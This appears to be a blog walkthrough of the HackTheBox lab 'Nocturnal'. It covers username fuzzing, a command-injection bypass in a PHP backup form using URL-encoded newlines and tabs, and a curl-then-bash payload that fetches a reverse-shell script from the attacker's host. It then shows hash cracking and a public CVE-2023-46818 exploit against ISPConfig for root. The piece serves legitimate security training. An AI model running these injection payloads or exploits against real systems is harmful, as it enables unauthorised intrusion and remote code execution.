404Gh0st Blog
Overview
HTB: Nocturnal

Description

Nocturnal is an easy Linux machine that demonstrates command injection bypass and privilege escalation using CVE-2023-46818.

Recon

nmap

Result of nmap scan:

Terminal window
Scanned at 2025-05-31 21:30:25 WIB for 12s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpf3JJv7Vr55+A/O4p/l+TRCtst7lttqsZHEA42U5Edkqx/Kb8c+F0A4wMCVOMqwyR/PaMdmzAomYGvNYhi3NelwIEqdKKnL+5svrsStqb9XjyShPD9SQK5Su7xBt+/TfJyZQ3+jyYN1IdppOzDYRGMjhq5ybD4eI437q6CSL20=
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLcnMmaOpYYv5IoOYfwkaYqI9hP6MhgXCT9Cld1XLFLBhT+9SsJEpV6Ecv+d3A1mEOoFL4sbJlvrt2v5VoHcf4M=
| 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIASsDOOb+I4J4vIK5Kz0oHmXjwRJMHNJjXKXKsW0z/dy
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only ports 22 and 80 are open. Port 80 is redirecting to http://nocturnal.htb. Let’s add it to the /etc/hosts file.

Terminal window
10.10.11.64 nocturnal.htb

80 - TCP

Enumeration

Visiting the website reveals a web app. Register an account and log in to explore the features. After exploring it for a while, I found that I need to be authenticated to access the files. I can list uploaded files if I supply a valid username and any filename that has a valid extension. It can be accessed from other user accounts too.

Terminal window
http://nocturnal.htb/view.php?username=jergal&file=any.pdf

I will try to fuzz the username.

Terminal window
> ffuf -H "Cookie: PHPSESSID=<Cookie>" -u 'http://nocturnal.htb/view.php?username=FUZZ&file=any.pdf' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -ic -c -fs 2985
...
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 72ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 58ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 74ms]
...

Visiting the page for amanda reveals the privacy.odt file.

image

Admin Panel

The document contains amanda’s password. We can use it to log in to the web app as amanda. There will be a “Go to Admin Panel” button at the top of the page. It will take us to the admin panel. Inside the admin panel, we can view the source code of the web app. The view parameter isn’t vulnerable to directory traversal, so we can only use it to view the source code that is available in the options. There’s a backup functionality inside the admin panel; we can supply a password to protect the backup. Here’s the source code:

<?php
session_start();
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}
function sanitizeFilePath($filePath) {
return basename($filePath); // Only gets the base name of the file
}
// List only PHP files in a directory
function listPhpFiles($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
echo "<ul class='file-list'>";
foreach ($files as $file) {
$sanitizedFile = sanitizeFilePath($file);
if (is_dir($dir . '/' . $sanitizedFile)) {
// Recursively call to list files inside directories
echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
echo "<ul>";
listPhpFiles($dir . '/' . $sanitizedFile);
echo "</ul></li>";
} else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
// Show only PHP files
echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
}
}
echo "</ul>";
}
// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$content = htmlspecialchars(file_get_contents($filePath));
} else {
$content = "File not found or invalid path.";
}
}
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel</title>
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Poppins', sans-serif;
background-color: #1a1a1a;
margin: 0;
padding: 0;
color: #ff8c00;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background-color: #2c2c2c;
width: 90%;
max-width: 1000px;
padding: 30px;
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.5);
border-radius: 12px;
}
h1, h2 {
color: #ff8c00;
font-weight: 600;
}
form {
display: flex;
flex-direction: column;
gap: 15px;
margin-bottom: 30px;
}
input[type="password"] {
padding: 12px;
font-size: 16px;
border: 1px solid #555;
border-radius: 8px;
width: 100%;
background-color: #333;
color: #ff8c00;
}
button {
padding: 12px;
font-size: 16px;
background-color: #2d72bc;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #245a9e;
}
.file-list {
list-style: none;
padding: 0;
}
.file-list li {
background-color: #444;
padding: 15px;
margin-bottom: 10px;
border-radius: 8px;
display: flex;
align-items: center;
}
.file-list li.folder {
background-color: #3b3b3b;
}
.file-list li.file {
background-color: #4d4d4d;
}
.file-list li a {
color: #ff8c00;
text-decoration: none;
margin-left: 10px;
}
.file-list li a:hover {
text-decoration: underline;
}
pre {
background-color: #2d2d2d;
color: #eee;
padding: 20px;
border-radius: 8px;
overflow-x: auto;
font-family: 'Courier New', Courier, monospace;
}
.message {
padding: 15px;
border-radius: 8px;
margin-top: 15px;
background-color: #e7f5e6;
color: #2d7b40;
font-weight: 500;
}
.error {
background-color: #f8d7da;
color: #842029;
}
.backup-output {
margin-top: 20px;
padding: 15px;
border: 1px solid #555;
border-radius: 8px;
background-color: #333;
color: #ff8c00;
}
</style>
</head>
<body>
<div class="container">
<h1>Admin Panel</h1>
<h2>File Structure (PHP Files Only)</h2>
<?php listPhpFiles(__DIR__); ?>
<h2>View File Content</h2>
<?php if (isset($content)) { ?>
<pre><?php echo $content; ?></pre>
<?php } ?>
<h2>Create Backup</h2>
<form method="POST">
<label for="password">Enter Password to Protect Backup:</label>
<input type="password" name="password" required placeholder="Enter backup password">
<button type="submit" name="backup">Create Backup</button>
</form>
<div class="backup-output">
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
</div>
<?php if (isset($backupMessage)) { ?>
<div class="message"><?php echo $backupMessage; ?></div>
<?php } ?>
</div>
</body>
</html>

Command Injection

By the looks of it, it seems like we have a command injection on the password, but we need to bypass the cleanEntry function first.

function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

Many characters are blacklisted in the cleanEntry function, but we can bypass them by using the newline \n character because in Linux, each command is separated by a newline \n character. To execute more complex commands, we can use the tab \t character to separate them because spaces are not allowed. I will use two payloads to deliver my reverse shell script and then execute the script. The payload must be URL-encoded: %0a for new line and %09 for tab.

Terminal window
password=%0acurl%0910.10.14.79/x%09-o%09/tmp/x%0a&backup=
Terminal window
password=%0abash%09/tmp/x%0a&backup=

Shell as www-data

Enumeration

We can find the database used by the web app at the /var/www/nocturnal_database/nocturnal_database.db path. Because it’s a SQLite database, we can just dump it using the strings command.

image

Because tobias is the only user available on the Linux machine, I will just crack the tobias hash.

Terminal window
hashcat -m 0 '55c82b1ccd55ab219b3b109b07d5061d' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Then, we can use the password to log in via SSH as tobias.

Shell as tobias

User flag

Terminal window
tobias@nocturnal:~$ cat user.txt
deadbeefeff625911c218820a7e8fake

Enumeration

There’s an internal service at port 8080, let’s forward this port using SSH.

Terminal window
ssh -L 9090:127.0.0.1:8080 tobias@nocturnal.htb

Visiting http://127.0.0.1:9090 shows ISPCONFIG web app.

image

The default credential for this app is admin:admin according to this forum. It surely didn’t work, but if we use tobias’ password, it works to log in as admin.

CVE-2023-46818

We can get the current ISPCONFIG version by visiting the Help section. It shows version 3.2.10p1. This version is vulnerable to CVE-2023-46818 and it has a public PoC CVE-2023-46818 exploit.

Terminal window
python exploit.py http://localhost:9090/ admin slowmotionapocalypse

Shell as root

Root flag

Terminal window
ispconfig-shell# cat /root/root.txt
deadbeef56f2f26b795863d03be3fake